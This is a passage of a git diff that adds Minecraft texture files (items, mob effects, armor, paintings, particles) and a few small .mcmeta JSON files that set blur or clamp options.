and b/src/assets/minecraft/textures/item/tropical_fish.png differ diff --git a/src/assets/minecraft/textures/item/tropical_fish_bucket.png b/src/assets/minecraft/textures/item/tropical_fish_bucket.png new file mode 100644 index 00000000..593430c4 Binary files /dev/null and b/src/assets/minecraft/textures/item/tropical_fish_bucket.png differ diff --git a/src/assets/minecraft/textures/item/turtle_egg.png b/src/assets/minecraft/textures/item/turtle_egg.png new file mode 100644 index 00000000..647c695b Binary files /dev/null and b/src/assets/minecraft/textures/item/turtle_egg.png differ diff --git a/src/assets/minecraft/textures/item/turtle_helmet.png b/src/assets/minecraft/textures/item/turtle_helmet.png new file mode 100644 index 00000000..06c2dea9 Binary files /dev/null and b/src/assets/minecraft/textures/item/turtle_helmet.png differ diff --git a/src/assets/minecraft/textures/item/warped_door.png b/src/assets/minecraft/textures/item/warped_door.png new file mode 100644 index 00000000..aefebc12 Binary files /dev/null and b/src/assets/minecraft/textures/item/warped_door.png differ diff --git a/src/assets/minecraft/textures/item/warped_fungus_on_a_stick.png b/src/assets/minecraft/textures/item/warped_fungus_on_a_stick.png new file mode 100644 index 00000000..c0c77d98 Binary files /dev/null and b/src/assets/minecraft/textures/item/warped_fungus_on_a_stick.png differ diff --git a/src/assets/minecraft/textures/item/warped_sign.png b/src/assets/minecraft/textures/item/warped_sign.png new file mode 100644 index 00000000..f700a5e5 Binary files /dev/null and b/src/assets/minecraft/textures/item/warped_sign.png differ diff --git a/src/assets/minecraft/textures/item/water_bucket.png b/src/assets/minecraft/textures/item/water_bucket.png new file mode 100644 index 00000000..52bf7853 Binary files /dev/null and b/src/assets/minecraft/textures/item/water_bucket.png differ diff --git a/src/assets/minecraft/textures/item/wheat.png b/src/assets/minecraft/textures/item/wheat.png new file mode 100644 index 00000000..62bbd6c7 Binary files /dev/null and b/src/assets/minecraft/textures/item/wheat.png differ diff --git a/src/assets/minecraft/textures/item/wheat_seeds.png b/src/assets/minecraft/textures/item/wheat_seeds.png new file mode 100644 index 00000000..83d23a6e Binary files /dev/null and b/src/assets/minecraft/textures/item/wheat_seeds.png differ diff --git a/src/assets/minecraft/textures/item/white_dye.png b/src/assets/minecraft/textures/item/white_dye.png new file mode 100644 index 00000000..9b5dca84 Binary files /dev/null and b/src/assets/minecraft/textures/item/white_dye.png differ diff --git a/src/assets/minecraft/textures/item/wooden_axe.png b/src/assets/minecraft/textures/item/wooden_axe.png new file mode 100644 index 00000000..bec1381d Binary files /dev/null and b/src/assets/minecraft/textures/item/wooden_axe.png differ diff --git a/src/assets/minecraft/textures/item/wooden_hoe.png b/src/assets/minecraft/textures/item/wooden_hoe.png new file mode 100644 index 00000000..d93f6f4f Binary files /dev/null and b/src/assets/minecraft/textures/item/wooden_hoe.png differ diff --git a/src/assets/minecraft/textures/item/wooden_pickaxe.png b/src/assets/minecraft/textures/item/wooden_pickaxe.png new file mode 100644 index 00000000..9df3721f Binary files /dev/null and b/src/assets/minecraft/textures/item/wooden_pickaxe.png differ diff --git a/src/assets/minecraft/textures/item/wooden_shovel.png b/src/assets/minecraft/textures/item/wooden_shovel.png new file mode 100644 index 00000000..9481942b Binary files /dev/null and b/src/assets/minecraft/textures/item/wooden_shovel.png differ diff --git a/src/assets/minecraft/textures/item/wooden_sword.png b/src/assets/minecraft/textures/item/wooden_sword.png new file mode 100644 index 00000000..9c53ef40 Binary files /dev/null and b/src/assets/minecraft/textures/item/wooden_sword.png differ diff --git a/src/assets/minecraft/textures/item/writable_book.png b/src/assets/minecraft/textures/item/writable_book.png new file mode 100644 index 00000000..33af2fb0 Binary files /dev/null and b/src/assets/minecraft/textures/item/writable_book.png differ diff --git a/src/assets/minecraft/textures/item/written_book.png b/src/assets/minecraft/textures/item/written_book.png new file mode 100644 index 00000000..371a790f Binary files /dev/null and b/src/assets/minecraft/textures/item/written_book.png differ diff --git a/src/assets/minecraft/textures/item/yellow_dye.png b/src/assets/minecraft/textures/item/yellow_dye.png new file mode 100644 index 00000000..1cea9ee2 Binary files /dev/null and b/src/assets/minecraft/textures/item/yellow_dye.png differ diff --git a/src/assets/minecraft/textures/map/map_background.png b/src/assets/minecraft/textures/map/map_background.png new file mode 100644 index 00000000..ceeec962 Binary files /dev/null and b/src/assets/minecraft/textures/map/map_background.png differ diff --git a/src/assets/minecraft/textures/map/map_background_checkerboard.png b/src/assets/minecraft/textures/map/map_background_checkerboard.png new file mode 100644 index 00000000..961a6670 Binary files /dev/null and b/src/assets/minecraft/textures/map/map_background_checkerboard.png differ diff --git a/src/assets/minecraft/textures/map/map_icons.png b/src/assets/minecraft/textures/map/map_icons.png new file mode 100644 index 00000000..d0363da9 Binary files /dev/null and b/src/assets/minecraft/textures/map/map_icons.png differ diff --git a/src/assets/minecraft/textures/misc/enchanted_item_glint.png b/src/assets/minecraft/textures/misc/enchanted_item_glint.png new file mode 100644 index 00000000..fc2c76ef Binary files /dev/null and b/src/assets/minecraft/textures/misc/enchanted_item_glint.png differ diff --git a/src/assets/minecraft/textures/misc/enchanted_item_glint.png.mcmeta b/src/assets/minecraft/textures/misc/enchanted_item_glint.png.mcmeta new file mode 100644 index 00000000..e38a5ad3 --- /dev/null +++ b/src/assets/minecraft/textures/misc/enchanted_item_glint.png.mcmeta @@ -0,0 +1,5 @@ +{ + "texture": { + "blur": true + } +} diff --git a/src/assets/minecraft/textures/misc/forcefield.png b/src/assets/minecraft/textures/misc/forcefield.png new file mode 100644 index 00000000..8ece3337 Binary files /dev/null and b/src/assets/minecraft/textures/misc/forcefield.png differ diff --git a/src/assets/minecraft/textures/misc/nausea.png b/src/assets/minecraft/textures/misc/nausea.png new file mode 100644 index 00000000..7d855f70 Binary files /dev/null and b/src/assets/minecraft/textures/misc/nausea.png differ diff --git a/src/assets/minecraft/textures/misc/pumpkinblur.png b/src/assets/minecraft/textures/misc/pumpkinblur.png new file mode 100644 index 00000000..4f302df5 Binary files /dev/null and b/src/assets/minecraft/textures/misc/pumpkinblur.png differ diff --git a/src/assets/minecraft/textures/misc/pumpkinblur.png.mcmeta b/src/assets/minecraft/textures/misc/pumpkinblur.png.mcmeta new file mode 100644 index 00000000..2077f3ce --- /dev/null +++ b/src/assets/minecraft/textures/misc/pumpkinblur.png.mcmeta @@ -0,0 +1,6 @@ +{ + "texture": { + "blur": true + } +} + diff --git a/src/assets/minecraft/textures/misc/shadow.png b/src/assets/minecraft/textures/misc/shadow.png new file mode 100644 index 00000000..daba11db Binary files /dev/null and b/src/assets/minecraft/textures/misc/shadow.png differ diff --git a/src/assets/minecraft/textures/misc/shadow.png.mcmeta b/src/assets/minecraft/textures/misc/shadow.png.mcmeta new file mode 100644 index 00000000..8c6c7d1d --- /dev/null +++ b/src/assets/minecraft/textures/misc/shadow.png.mcmeta @@ -0,0 +1,6 @@ +{ + "texture": { + "clamp": true + } +} + diff --git a/src/assets/minecraft/textures/misc/underwater.png b/src/assets/minecraft/textures/misc/underwater.png new file mode 100644 index 00000000..c2c9d3cf Binary files /dev/null and b/src/assets/minecraft/textures/misc/underwater.png differ diff --git a/src/assets/minecraft/textures/misc/unknown_pack.png b/src/assets/minecraft/textures/misc/unknown_pack.png new file mode 100644 index 00000000..0a25fdc6 Binary files /dev/null and b/src/assets/minecraft/textures/misc/unknown_pack.png differ diff --git a/src/assets/minecraft/textures/misc/unknown_server.png b/src/assets/minecraft/textures/misc/unknown_server.png new file mode 100644 index 00000000..8da22cba Binary files /dev/null and b/src/assets/minecraft/textures/misc/unknown_server.png differ diff --git a/src/assets/minecraft/textures/misc/vignette.png b/src/assets/minecraft/textures/misc/vignette.png new file mode 100644 index 00000000..5c8e97f7 Binary files /dev/null and b/src/assets/minecraft/textures/misc/vignette.png differ diff --git a/src/assets/minecraft/textures/misc/vignette.png.mcmeta b/src/assets/minecraft/textures/misc/vignette.png.mcmeta new file mode 100644 index 00000000..2077f3ce --- /dev/null +++ b/src/assets/minecraft/textures/misc/vignette.png.mcmeta @@ -0,0 +1,6 @@ +{ + "texture": { + "blur": true + } +} + diff --git a/src/assets/minecraft/textures/mob_effect/absorption.png b/src/assets/minecraft/textures/mob_effect/absorption.png new file mode 100644 index 00000000..3ef0e591 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/absorption.png differ diff --git a/src/assets/minecraft/textures/mob_effect/bad_omen.png b/src/assets/minecraft/textures/mob_effect/bad_omen.png new file mode 100644 index 00000000..f94ba4b0 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/bad_omen.png differ diff --git a/src/assets/minecraft/textures/mob_effect/blindness.png b/src/assets/minecraft/textures/mob_effect/blindness.png new file mode 100644 index 00000000..9311ff67 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/blindness.png differ diff --git a/src/assets/minecraft/textures/mob_effect/conduit_power.png b/src/assets/minecraft/textures/mob_effect/conduit_power.png new file mode 100644 index 00000000..19aaaba4 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/conduit_power.png differ diff --git a/src/assets/minecraft/textures/mob_effect/dolphins_grace.png b/src/assets/minecraft/textures/mob_effect/dolphins_grace.png new file mode 100644 index 00000000..618f1c77 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/dolphins_grace.png differ diff --git a/src/assets/minecraft/textures/mob_effect/fire_resistance.png b/src/assets/minecraft/textures/mob_effect/fire_resistance.png new file mode 100644 index 00000000..c13c41f6 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/fire_resistance.png differ diff --git a/src/assets/minecraft/textures/mob_effect/glowing.png b/src/assets/minecraft/textures/mob_effect/glowing.png new file mode 100644 index 00000000..90f74750 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/glowing.png differ diff --git a/src/assets/minecraft/textures/mob_effect/haste.png b/src/assets/minecraft/textures/mob_effect/haste.png new file mode 100644 index 00000000..7d755f00 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/haste.png differ diff --git a/src/assets/minecraft/textures/mob_effect/health_boost.png b/src/assets/minecraft/textures/mob_effect/health_boost.png new file mode 100644 index 00000000..91122035 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/health_boost.png differ diff --git a/src/assets/minecraft/textures/mob_effect/hero_of_the_village.png b/src/assets/minecraft/textures/mob_effect/hero_of_the_village.png new file mode 100644 index 00000000..9e25c98d Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/hero_of_the_village.png differ diff --git a/src/assets/minecraft/textures/mob_effect/hunger.png b/src/assets/minecraft/textures/mob_effect/hunger.png new file mode 100644 index 00000000..fe2433f1 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/hunger.png differ diff --git a/src/assets/minecraft/textures/mob_effect/instant_damage.png b/src/assets/minecraft/textures/mob_effect/instant_damage.png new file mode 100644 index 00000000..92ff38ac Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/instant_damage.png differ diff --git a/src/assets/minecraft/textures/mob_effect/instant_health.png b/src/assets/minecraft/textures/mob_effect/instant_health.png new file mode 100644 index 00000000..fc8477f9 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/instant_health.png differ diff --git a/src/assets/minecraft/textures/mob_effect/invisibility.png b/src/assets/minecraft/textures/mob_effect/invisibility.png new file mode 100644 index 00000000..c30472d0 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/invisibility.png differ diff --git a/src/assets/minecraft/textures/mob_effect/jump_boost.png b/src/assets/minecraft/textures/mob_effect/jump_boost.png new file mode 100644 index 00000000..d3009c6d Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/jump_boost.png differ diff --git a/src/assets/minecraft/textures/mob_effect/levitation.png b/src/assets/minecraft/textures/mob_effect/levitation.png new file mode 100644 index 00000000..fbea004b Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/levitation.png differ diff --git a/src/assets/minecraft/textures/mob_effect/luck.png b/src/assets/minecraft/textures/mob_effect/luck.png new file mode 100644 index 00000000..eb260700 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/luck.png differ diff --git a/src/assets/minecraft/textures/mob_effect/mining_fatigue.png b/src/assets/minecraft/textures/mob_effect/mining_fatigue.png new file mode 100644 index 00000000..16f9d5f3 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/mining_fatigue.png differ diff --git a/src/assets/minecraft/textures/mob_effect/nausea.png b/src/assets/minecraft/textures/mob_effect/nausea.png new file mode 100644 index 00000000..6b2861bc Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/nausea.png differ diff --git a/src/assets/minecraft/textures/mob_effect/night_vision.png b/src/assets/minecraft/textures/mob_effect/night_vision.png new file mode 100644 index 00000000..b502c007 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/night_vision.png differ diff --git a/src/assets/minecraft/textures/mob_effect/poison.png b/src/assets/minecraft/textures/mob_effect/poison.png new file mode 100644 index 00000000..7eca1b21 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/poison.png differ diff --git a/src/assets/minecraft/textures/mob_effect/regeneration.png b/src/assets/minecraft/textures/mob_effect/regeneration.png new file mode 100644 index 00000000..baa50314 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/regeneration.png differ diff --git a/src/assets/minecraft/textures/mob_effect/resistance.png b/src/assets/minecraft/textures/mob_effect/resistance.png new file mode 100644 index 00000000..18ecb5c9 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/resistance.png differ diff --git a/src/assets/minecraft/textures/mob_effect/saturation.png b/src/assets/minecraft/textures/mob_effect/saturation.png new file mode 100644 index 00000000..f5f1e487 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/saturation.png differ diff --git a/src/assets/minecraft/textures/mob_effect/slow_falling.png b/src/assets/minecraft/textures/mob_effect/slow_falling.png new file mode 100644 index 00000000..3718afb8 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/slow_falling.png differ diff --git a/src/assets/minecraft/textures/mob_effect/slowness.png b/src/assets/minecraft/textures/mob_effect/slowness.png new file mode 100644 index 00000000..02c888b2 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/slowness.png differ diff --git a/src/assets/minecraft/textures/mob_effect/speed.png b/src/assets/minecraft/textures/mob_effect/speed.png new file mode 100644 index 00000000..64da0e65 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/speed.png differ diff --git a/src/assets/minecraft/textures/mob_effect/strength.png b/src/assets/minecraft/textures/mob_effect/strength.png new file mode 100644 index 00000000..8abad5c2 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/strength.png differ diff --git a/src/assets/minecraft/textures/mob_effect/unluck.png b/src/assets/minecraft/textures/mob_effect/unluck.png new file mode 100644 index 00000000..f0e35a5f Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/unluck.png differ diff --git a/src/assets/minecraft/textures/mob_effect/water_breathing.png b/src/assets/minecraft/textures/mob_effect/water_breathing.png new file mode 100644 index 00000000..e9d536b4 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/water_breathing.png differ diff --git a/src/assets/minecraft/textures/mob_effect/weakness.png b/src/assets/minecraft/textures/mob_effect/weakness.png new file mode 100644 index 00000000..2e2f0214 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/weakness.png differ diff --git a/src/assets/minecraft/textures/mob_effect/wither.png b/src/assets/minecraft/textures/mob_effect/wither.png new file mode 100644 index 00000000..d66ffe16 Binary files /dev/null and b/src/assets/minecraft/textures/mob_effect/wither.png differ diff --git a/src/assets/minecraft/textures/models/armor/chainmail_layer_1.png b/src/assets/minecraft/textures/models/armor/chainmail_layer_1.png new file mode 100644 index 00000000..c28e0a3b Binary files /dev/null and b/src/assets/minecraft/textures/models/armor/chainmail_layer_1.png differ diff --git a/src/assets/minecraft/textures/models/armor/chainmail_layer_2.png b/src/assets/minecraft/textures/models/armor/chainmail_layer_2.png new file mode 100644 index 00000000..60bf1d77 Binary files /dev/null and b/src/assets/minecraft/textures/models/armor/chainmail_layer_2.png differ diff --git a/src/assets/minecraft/textures/models/armor/diamond_layer_1.png b/src/assets/minecraft/textures/models/armor/diamond_layer_1.png new file mode 100644 index 00000000..44e2fc53 Binary files /dev/null and b/src/assets/minecraft/textures/models/armor/diamond_layer_1.png differ diff --git a/src/assets/minecraft/textures/models/armor/diamond_layer_2.png b/src/assets/minecraft/textures/models/armor/diamond_layer_2.png new file mode 100644 index 00000000..2de240e2 Binary files /dev/null and b/src/assets/minecraft/textures/models/armor/diamond_layer_2.png differ diff --git a/src/assets/minecraft/textures/models/armor/gold_layer_1.png b/src/assets/minecraft/textures/models/armor/gold_layer_1.png new file mode 100644 index 00000000..567d9023 Binary files /dev/null and b/src/assets/minecraft/textures/models/armor/gold_layer_1.png differ diff --git a/src/assets/minecraft/textures/models/armor/gold_layer_2.png b/src/assets/minecraft/textures/models/armor/gold_layer_2.png new file mode 100644 index 00000000..c179399b Binary files /dev/null and b/src/assets/minecraft/textures/models/armor/gold_layer_2.png differ diff --git a/src/assets/minecraft/textures/models/armor/iron_layer_1.png b/src/assets/minecraft/textures/models/armor/iron_layer_1.png new file mode 100644 index 00000000..1da5d263 Binary files /dev/null and b/src/assets/minecraft/textures/models/armor/iron_layer_1.png differ diff --git a/src/assets/minecraft/textures/models/armor/iron_layer_2.png b/src/assets/minecraft/textures/models/armor/iron_layer_2.png new file mode 100644 index 00000000..3170869e Binary files /dev/null and b/src/assets/minecraft/textures/models/armor/iron_layer_2.png differ diff --git a/src/assets/minecraft/textures/models/armor/leather_layer_1.png b/src/assets/minecraft/textures/models/armor/leather_layer_1.png new file mode 100644 index 00000000..cf4aada1 Binary files /dev/null and b/src/assets/minecraft/textures/models/armor/leather_layer_1.png differ diff --git a/src/assets/minecraft/textures/models/armor/leather_layer_1_overlay.png b/src/assets/minecraft/textures/models/armor/leather_layer_1_overlay.png new file mode 100644 index 00000000..98dd02af Binary files /dev/null and b/src/assets/minecraft/textures/models/armor/leather_layer_1_overlay.png differ diff --git a/src/assets/minecraft/textures/models/armor/leather_layer_2.png b/src/assets/minecraft/textures/models/armor/leather_layer_2.png new file mode 100644 index 00000000..abd64e6b Binary files /dev/null and b/src/assets/minecraft/textures/models/armor/leather_layer_2.png differ diff --git a/src/assets/minecraft/textures/models/armor/leather_layer_2_overlay.png b/src/assets/minecraft/textures/models/armor/leather_layer_2_overlay.png new file mode 100644 index 00000000..4faea6d6 Binary files /dev/null and b/src/assets/minecraft/textures/models/armor/leather_layer_2_overlay.png differ diff --git a/src/assets/minecraft/textures/models/armor/netherite_layer_1.png b/src/assets/minecraft/textures/models/armor/netherite_layer_1.png new file mode 100644 index 00000000..ebcbbaa4 Binary files /dev/null and b/src/assets/minecraft/textures/models/armor/netherite_layer_1.png differ diff --git a/src/assets/minecraft/textures/models/armor/netherite_layer_2.png b/src/assets/minecraft/textures/models/armor/netherite_layer_2.png new file mode 100644 index 00000000..963f0826 Binary files /dev/null and b/src/assets/minecraft/textures/models/armor/netherite_layer_2.png differ diff --git a/src/assets/minecraft/textures/models/armor/piglin_leather_layer_1.png b/src/assets/minecraft/textures/models/armor/piglin_leather_layer_1.png new file mode 100644 index 00000000..4a18c47b Binary files /dev/null and b/src/assets/minecraft/textures/models/armor/piglin_leather_layer_1.png differ diff --git a/src/assets/minecraft/textures/models/armor/piglin_leather_layer_1_overlay.png b/src/assets/minecraft/textures/models/armor/piglin_leather_layer_1_overlay.png new file mode 100644 index 00000000..031d7b00 Binary files /dev/null and b/src/assets/minecraft/textures/models/armor/piglin_leather_layer_1_overlay.png differ diff --git a/src/assets/minecraft/textures/models/armor/turtle_layer_1.png b/src/assets/minecraft/textures/models/armor/turtle_layer_1.png new file mode 100644 index 00000000..6f392726 Binary files /dev/null and b/src/assets/minecraft/textures/models/armor/turtle_layer_1.png differ diff --git a/src/assets/minecraft/textures/painting/alban.png b/src/assets/minecraft/textures/painting/alban.png new file mode 100644 index 00000000..19813ecd Binary files /dev/null and b/src/assets/minecraft/textures/painting/alban.png differ diff --git a/src/assets/minecraft/textures/painting/aztec.png b/src/assets/minecraft/textures/painting/aztec.png new file mode 100644 index 00000000..dec7b1e2 Binary files /dev/null and b/src/assets/minecraft/textures/painting/aztec.png differ diff --git a/src/assets/minecraft/textures/painting/aztec2.png b/src/assets/minecraft/textures/painting/aztec2.png new file mode 100644 index 00000000..803f8ebd Binary files /dev/null and b/src/assets/minecraft/textures/painting/aztec2.png differ diff --git a/src/assets/minecraft/textures/painting/back.png b/src/assets/minecraft/textures/painting/back.png new file mode 100644 index 00000000..0e9bdece Binary files /dev/null and b/src/assets/minecraft/textures/painting/back.png differ diff --git a/src/assets/minecraft/textures/painting/bomb.png b/src/assets/minecraft/textures/painting/bomb.png new file mode 100644 index 00000000..2be99cc5 Binary files /dev/null and b/src/assets/minecraft/textures/painting/bomb.png differ diff --git a/src/assets/minecraft/textures/painting/burning_skull.png b/src/assets/minecraft/textures/painting/burning_skull.png new file mode 100644 index 00000000..b7b15ee8 Binary files /dev/null and b/src/assets/minecraft/textures/painting/burning_skull.png differ diff --git a/src/assets/minecraft/textures/painting/bust.png b/src/assets/minecraft/textures/painting/bust.png new file mode 100644 index 00000000..303301b3 Binary files /dev/null and b/src/assets/minecraft/textures/painting/bust.png differ diff --git a/src/assets/minecraft/textures/painting/courbet.png b/src/assets/minecraft/textures/painting/courbet.png new file mode 100644 index 00000000..4c533d54 Binary files /dev/null and b/src/assets/minecraft/textures/painting/courbet.png differ diff --git a/src/assets/minecraft/textures/painting/creebet.png b/src/assets/minecraft/textures/painting/creebet.png new file mode 100644 index 00000000..9d562ea6 Binary files /dev/null and b/src/assets/minecraft/textures/painting/creebet.png differ diff --git a/src/assets/minecraft/textures/painting/donkey_kong.png b/src/assets/minecraft/textures/painting/donkey_kong.png new file mode 100644 index 00000000..f739ca11 Binary files /dev/null and b/src/assets/minecraft/textures/painting/donkey_kong.png differ diff --git a/src/assets/minecraft/textures/painting/fighters.png b/src/assets/minecraft/textures/painting/fighters.png new file mode 100644 index 00000000..813fbca2 Binary files /dev/null and b/src/assets/minecraft/textures/painting/fighters.png differ diff --git a/src/assets/minecraft/textures/painting/graham.png b/src/assets/minecraft/textures/painting/graham.png new file mode 100644 index 00000000..198786b2 Binary files /dev/null and b/src/assets/minecraft/textures/painting/graham.png differ diff --git a/src/assets/minecraft/textures/painting/kebab.png b/src/assets/minecraft/textures/painting/kebab.png new file mode 100644 index 00000000..2b7499a7 Binary files /dev/null and b/src/assets/minecraft/textures/painting/kebab.png differ diff --git a/src/assets/minecraft/textures/painting/match.png b/src/assets/minecraft/textures/painting/match.png new file mode 100644 index 00000000..0431cbdd Binary files /dev/null and b/src/assets/minecraft/textures/painting/match.png differ diff --git a/src/assets/minecraft/textures/painting/pigscene.png b/src/assets/minecraft/textures/painting/pigscene.png new file mode 100644 index 00000000..2ec83a0a Binary files /dev/null and b/src/assets/minecraft/textures/painting/pigscene.png differ diff --git a/src/assets/minecraft/textures/painting/plant.png b/src/assets/minecraft/textures/painting/plant.png new file mode 100644 index 00000000..a99cd267 Binary files /dev/null and b/src/assets/minecraft/textures/painting/plant.png differ diff --git a/src/assets/minecraft/textures/painting/pointer.png b/src/assets/minecraft/textures/painting/pointer.png new file mode 100644 index 00000000..7ca94435 Binary files /dev/null and b/src/assets/minecraft/textures/painting/pointer.png differ diff --git a/src/assets/minecraft/textures/painting/pool.png b/src/assets/minecraft/textures/painting/pool.png new file mode 100644 index 00000000..98ea0245 Binary files /dev/null and b/src/assets/minecraft/textures/painting/pool.png differ diff --git a/src/assets/minecraft/textures/painting/sea.png b/src/assets/minecraft/textures/painting/sea.png new file mode 100644 index 00000000..5364b506 Binary files /dev/null and b/src/assets/minecraft/textures/painting/sea.png differ diff --git a/src/assets/minecraft/textures/painting/skeleton.png b/src/assets/minecraft/textures/painting/skeleton.png new file mode 100644 index 00000000..39f9e15b Binary files /dev/null and b/src/assets/minecraft/textures/painting/skeleton.png differ diff --git a/src/assets/minecraft/textures/painting/skull_and_roses.png b/src/assets/minecraft/textures/painting/skull_and_roses.png new file mode 100644 index 00000000..b0028810 Binary files /dev/null and b/src/assets/minecraft/textures/painting/skull_and_roses.png differ diff --git a/src/assets/minecraft/textures/painting/stage.png b/src/assets/minecraft/textures/painting/stage.png new file mode 100644 index 00000000..7fa6c613 Binary files /dev/null and b/src/assets/minecraft/textures/painting/stage.png differ diff --git a/src/assets/minecraft/textures/painting/sunset.png b/src/assets/minecraft/textures/painting/sunset.png new file mode 100644 index 00000000..8308be15 Binary files /dev/null and b/src/assets/minecraft/textures/painting/sunset.png differ diff --git a/src/assets/minecraft/textures/painting/void.png b/src/assets/minecraft/textures/painting/void.png new file mode 100644 index 00000000..52d0e0d2 Binary files /dev/null and b/src/assets/minecraft/textures/painting/void.png differ diff --git a/src/assets/minecraft/textures/painting/wanderer.png b/src/assets/minecraft/textures/painting/wanderer.png new file mode 100644 index 00000000..6db13df5 Binary files /dev/null and b/src/assets/minecraft/textures/painting/wanderer.png differ diff --git a/src/assets/minecraft/textures/painting/wasteland.png b/src/assets/minecraft/textures/painting/wasteland.png new file mode 100644 index 00000000..1cfc27b1 Binary files /dev/null and b/src/assets/minecraft/textures/painting/wasteland.png differ diff --git a/src/assets/minecraft/textures/painting/wither.png b/src/assets/minecraft/textures/painting/wither.png new file mode 100644 index 00000000..3fd56363 Binary files /dev/null and b/src/assets/minecraft/textures/painting/wither.png differ diff --git a/src/assets/minecraft/textures/particle/angry.png b/src/assets/minecraft/textures/particle/angry.png new file mode 100644 index 00000000..3b616220 Binary files /dev/null and b/src/assets/minecraft/textures/particle/angry.png differ diff --git a/src/assets/minecraft/textures/particle/big_smoke_0.png b/src/assets/minecraft/textures/particle/big_smoke_0.png new file mode 100644 index 00000000..727f1d6a Binary files /dev/null and b/src/assets/minecraft/textures/particle/big_smoke_0.png differ diff --git a/src/assets/minecraft/textures/particle/big_smoke_1.png b/src/assets/minecraft/textures/particle/big_smoke_1.png new file mode 100644 index 00000000..8c07ee3b Binary files /dev/null and b/src/assets/minecraft/textures/particle/big_smoke_1.png differ diff --git a/src/assets/minecraft/textures/particle/big_smoke_10.png b/src/assets/minecraft/textures/particle/big_smoke_10.png new file mode 100644 index 00000000..712c41cb Binary files /dev/null and b/src/assets/minecraft/textures/particle/big_smoke_10.png differ diff --git a/src/assets/minecraft/textures/particle/big_smoke_11.png b/src/assets/minecraft/textures/particle/big_smoke_11.png new file mode 100644 index 00000000..7f3a7dbd Binary files /dev/null and b/src/assets/minecraft/textures/particle/big_smoke_11.png differ diff --git a/src/assets/minecraft/textures/particle/big_smoke_2.png b/src/assets/minecraft/textures/particle/big_smoke_2.png new file mode 100644 index 00000000..81d1a98c Binary files /dev/null and b/src/assets/minecraft/textures/particle/big_smoke_2.png differ diff --git a/src/assets/minecraft/textures/particle/big_smoke_3.png b/src/assets/minecraft/textures/particle/big_smoke_3.png new file mode 100644 index 00000000..4a5f8224 Binary files /dev/null and b/src/assets/minecraft/textures/particle/big_smoke_3.png differ diff --git a/src/assets/minecraft/textures/particle/big_smoke_4.png b/src/assets/minecraft/textures/particle/big_smoke_4.png new file mode 100644 index 00000000..17c35e5a Binary files /dev/null and b/src/assets/minecraft/textures/particle/big_smoke_4.png differ diff --git a/src/assets/minecraft/textures/particle/big_smoke_5.png b/src/assets/minecraft/textures/particle/big_smoke_5.png new file mode 100644 index 00000000..3dbb32af Binary files /dev/null and b/src/assets/minecraft/textures/particle/big_smoke_5.png differ diff --git a/src/assets/minecraft/textures/particle/big_smoke_6.png b/src/assets/minecraft/textures/particle/big_smoke_6.png new file mode 100644 index 00000000..1e5fec17 Binary files /dev/null and b/src/assets/minecraft/textures/particle/big_smoke_6.png differ diff --git a/src/assets/minecraft/textures/particle/big_smoke_7.png b/src/assets/minecraft/textures/particle/big_smoke_7.png new file mode 100644 index 00000000..ebef40c2 Binary files /dev/null and b/src/assets/minecraft/textures/particle/big_smoke_7.png differ diff --git a/src/assets/minecraft/textures/particle/big_smoke_8.png b/src/assets/minecraft/textures/particle/big_smoke_8.png new file mode 100644 index 00000000..a704e860 Binary files /dev/null and b/src/assets/minecraft/textures/particle/big_smoke_8.png differ diff --git a/src/assets/minecraft/textures/particle/big_smoke_9.png b/src/assets/minecraft/textures/particle/big_smoke_9.png new file mode 100644 index 00000000..4dd14f32 Binary files /dev/null and b/src/assets/minecraft/textures/particle/big_smoke_9.png differ diff --git a/src/assets/minecraft/textures/particle/bubble.png b/src/assets/minecraft/textures/particle/bubble.png new file mode 100644 index 00000000..c91be371 Binary files /dev/null and b/src/assets/minecraft/textures/particle/bubble.png differ diff --git a/src/assets/minecraft/textures/particle/bubble_pop_0.png b/src/assets/minecraft/textures/particle/bubble_pop_0.png new file mode 100644 index 00000000..2f2eb00d Binary files /dev/null and b/src/assets/minecraft/textures/particle/bubble_pop_0.png differ diff --git a/src/assets/minecraft/textures/particle/bubble_pop_1.png b/src/assets/minecraft/textures/particle/bubble_pop_1.png new file mode 100644 index 00000000..b1d286dd Binary files /dev/null and b/src/assets/minecraft/textures/particle/bubble_pop_1.png differ diff --git a/src/assets/minecraft/textures/particle/bubble_pop_2.png b/src/assets/minecraft/textures/particle/bubble_pop_2.png new file mode 100644 index 00000000..b142bd9e Binary files /dev/null and b/src/assets/minecraft/textures/particle/bubble_pop_2.png differ diff --git a/src/assets/minecraft/textures/particle/bubble_pop_3.png b/src/assets/minecraft/textures/particle/bubble_pop_3.png new file mode 100644 index 00000000..79fa0cc0 Binary files /dev/null and b/src/assets/minecraft/textures/particle/bubble_pop_3.png differ diff --git a/src/assets/minecraft/textures/particle/bubble_pop_4.png b/src/assets/minecraft/textures/particle/bubble_pop_4.png new file mode 100644 index 00000000..42fed52c Binary files /dev/null and b/src/assets/minecraft/textures/particle/bubble_pop_4.png 